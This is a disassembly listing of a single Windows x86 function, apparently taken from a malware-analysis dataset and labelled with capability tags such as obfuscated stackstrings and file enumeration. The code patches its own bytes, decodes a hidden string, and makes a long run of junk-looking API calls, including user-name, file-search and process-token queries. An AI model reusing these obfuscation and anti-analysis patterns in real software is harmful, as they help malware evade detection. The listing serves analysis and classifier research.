Function at 0xa88000
Capabilities:
Allocate thread local storage
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate gui resources
Get common file path
Get geographical location
Get graphical window text
Get keyboard layout
Get session user name
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x10], 0xa888d8
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa88039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x5c], 0xa88221
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jae 0xa880bb
call fcn.004649f2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0xa8807d
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa88097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, 2
jae 0xa88097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8804d
mov byte [ebp - 0x58], 7
mov byte [ebp - 0x57], 0x62
mov byte [ebp - 0x56], 6
mov byte [ebp - 0x55], 0x71
mov byte [ebp - 0x54], 1
mov byte [ebp - 0x53], 0x7a
mov byte [ebp - 0x52], 4
mov byte [ebp - 0x51], 0x7e
mov byte [ebp - 0x50], 8
mov byte [ebp - 0x4f], 0x79
mov byte [ebp - 0x4e], 3
mov byte [ebp - 0x4d], 0x2b
mov byte [ebp - 0x4c], 9
mov byte [ebp - 0x4b], 0x76
mov byte [ebp - 0x4a], 0
mov byte [ebp - 0x49], 0x81
mov byte [ebp - 0x48], 0x25
mov byte [ebp - 0x47], 0x88
mov byte [ebp - 0x46], 0x8d
mov byte [ebp - 0x45], 2
mov byte [ebp - 0x44], 5
mov byte [ebp - 0x43], 7
mov byte [ebp - 0x42], 0x51
mov byte [ebp - 0x41], 0x31
mov byte [ebp - 0x40], 0x43
mov byte [ebp - 0x3f], 0x28
mov byte [ebp - 0x3e], 0x98
mov byte [ebp - 0x3d], 0x9f
mov byte [ebp - 0x3c], 0x77
mov byte [ebp - 0x3b], 0x56
mov byte [ebp - 0x3a], 0xf3
mov byte [ebp - 0x39], 0x24
mov byte [ebp - 0x38], 0x64
mov byte [ebp - 0x37], 0x56
mov byte [ebp - 0x36], 0xdf
mov byte [ebp - 0x35], 0xda
mov byte [ebp - 0x34], 0x13
mov byte [ebp - 0x33], 0x1e
mov byte [ebp - 0x32], 0x4a
mov byte [ebp - 0x31], 0x89
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0xeb
mov byte [ebp - 0x2e], 0x53
mov byte [ebp - 0x2d], 0x63
mov byte [ebp - 0x2c], 0x47
mov byte [ebp - 0x2b], 0x8e
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0xf2
mov byte [ebp - 0x28], 0x3d
mov byte [ebp - 0x27], 6
mov byte [ebp - 0x26], 0x18
mov byte [ebp - 0x25], 0x4e
mov byte [ebp - 0x24], 0x5b
mov byte [ebp - 0x23], 5
mov byte [ebp - 0x22], 0x7a
mov byte [ebp - 0x21], 2
mov byte [ebp - 0x20], 0x81
and dword [ebp - 8], 0
and dword [ebp - 0x60], 0
jmp 0xa881b1
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x39
jae 0xa88216
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa881dd
mov dword [ebp - 0x60], 0x25
mov eax, dword [ebp - 8]
add eax, 0x23
mov dword [ebp - 8], eax
jmp 0xa881a9
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x57]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0xa88205
mov eax, dword [ebp - 0x14]
add eax, 0x100
mov dword [ebp - 0x14], eax
jmp 0xa881f2
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x58]
mov cl, byte [ebp - 0x14]
mov byte [ebp + eax - 0x6c], cl
jmp 0xa881a9
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x6c], 0
push 0
push 0xa7cc6a
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x84]
call fcn.0040811c
mov ecx, eax
call fcn.00403564
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x84]
call fcn.00403508
and dword [ebp - 0x18], 0
jmp 0xa8825f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jae 0xa8826f
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x6c], 0
jmp 0xa88258
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0x224f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x140c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0xc8d
push 0x1fdc
push 0xd07
push 0x1d5c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0x1255
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x457
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0x25a3
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0x10cb
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0x11cb
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0
push 0x22bf
push 0xae5
push 0x1871
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0x1cd6
push 0x71b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0x2047
push 0
push 0x497
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x17e8
push 0
push 0x18b3
push 0xef6
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0x2101
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x23b5
push 0x127c
push 0xa1d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x307
push 0x1250
push 0x166c
push 0xb91
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
push 0xecf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
push 0x153d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0x5bf
push 0x1d4d
push 1
push 0
push 0xe87
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x1681
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
push 0x8ce
push 0
push 0
push 0x7da
push 0x809
call dword [sym.imp.USER32.dll_ToAsciiEx]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0x3b9
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x1274
push 0x17e1
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x14ea
push 0x1a52
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x1081
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
push 0x262b
push 0xe7a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0x252f
push 0x21ff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x1f7e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x112
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
push 0x2473
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0x8a4
push 0xd26
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0x1737
push 0
push 0x171e
push 0
push 0x13a0
push 0x12de
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0x1180
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0x1195
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
push 0xeba
push 0xf2
push 0x25cb
push 0x1a57
push 0x17ff
push 0x1cd3
push 0x1dd9
push 0x2484
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0x24e9
push 0
push 0x1f3a
push 0x80b
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
push 0xdee
push 0x7df
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0x2670
push 0xef8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0x1769
push 0xae6
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
push 0
push 0x1aea
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0x1357
push 0
push 0x1a53
push 0x10da
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
push 0x1af7
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
push 0
push 0x31c
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 0x1b51
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 0x1641
push 0
push 0x2087
push 0x25d9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0x1234
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0
push 0x20af
push 0x1373
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0
push 0xc5d
push 0x2265
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 0x2173
push 0
push 0xc1f
push 0
push 0xb39
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
push 0
push 0x2038
push 0xf41
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0xa888e2
mov esp, ebp
pop ebp
ret